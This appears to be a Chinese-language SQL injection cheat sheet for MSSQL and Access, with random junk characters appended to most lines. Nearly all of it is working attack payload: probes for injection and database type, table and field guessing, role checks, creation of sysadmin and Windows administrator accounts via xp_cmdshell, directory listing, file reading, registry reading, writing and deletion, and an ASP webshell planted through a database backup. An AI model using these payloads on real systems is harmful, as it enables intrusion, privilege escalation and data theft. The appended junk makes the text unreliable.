1.判断是否有注入;and 1=1 ;and 1=2 t/}NX[q
2.初步判断是否是mssql ;and user>0 j^7A}fz
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3.注入参数是字符'and [查询条件] and ''=' 41x"Q?.bY
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' eP,bFc
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5.判断数据库系统 pI:,Lt1B
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;and (select count(*) from sysobjects)>0 mssql Y
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;and (select count(*) from msysobjects)>0 access 8qqN0"{,
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 j*5IRzK1%0
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 8PzGUn;\
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 qiB~
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9.(1)猜字段的ascii值(access) jQ,Vs=*H
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(2)猜字段的ascii值(mssql) LQHL4jRXU
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10.测试权限结构(mssql) d\ 8v
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- d)emTXB(
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ~W [I
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 8[KKi ~A
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ov,|`FdU^T
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;and 1=(select IS_MEMBER('db_owner'));-- |)+
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11.添加mssql和系统的帐户 c3 O/#*
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;exec master.dbo.sp_addlogin username;-- *m}8L%<HT
;exec master.dbo.sp_password null,username,password;-- X>Vc4n<}
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ~x^y5[5{
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;exec master.dbo.xp_cmdshell 'net user username password u0h%4f!X
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- I@MG?ZQ
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- Y>8Qj+d
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12.(1)遍历目录 -;7xUNQ
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;insert dirs exec master.dbo.xp_dirtree 'c:\' E ?Mgbd3
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;and (select top 1 paths from dirs)>0 /)6T>/
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(2)遍历目录 Hw o _;fV
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 4<i#TCGex3
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 XI\Slq
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 P |tyyjO
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 Y(g_h:lf,]
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 Vr
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13.mssql中的存储过程 `NNP<z+\
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xp_regenumvalues 注册表根键, 子键 [)Nt;|U
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 9wYm(7M6
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xp_regread 根键,子键,键值名 &DWSf`:Hx
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 YVMvT>/,
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xp_regwrite 根键,子键, 值名, 值类型, 值 Ddr.6`VJ
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 p(n0(}eVC'
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xp_regdeletevalue 根键,子键,值名 G'\[dwD,u
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 \6|y~5Hw{r
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 gy}3ZA*F
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14.mssql的backup创建webshell V
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insert into cmd(str) values (''); uOv<*Jld*
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backup database model to disk='c:\l.asp'; PEI$1,z
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15.mssql内置函数 j\>&]0-Iq
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;and (select @@version)>0 获得Windows的版本号 BQ6$T&
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa gX{j$]^6G8
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;and (select user_name())>0 爆当前系统的连接用户 B&_:20^y~
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;and (select db_name())>0 得到当前连接的数据库 }rJqMZ]w
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16.简洁的webshell Tv|'6P
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use model k M/:n
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create table cmd(str image); &`m.]RV
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insert into cmd(str) values (''); &MX&5@
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backup database model to disk='g:\wwwtest\l.asp';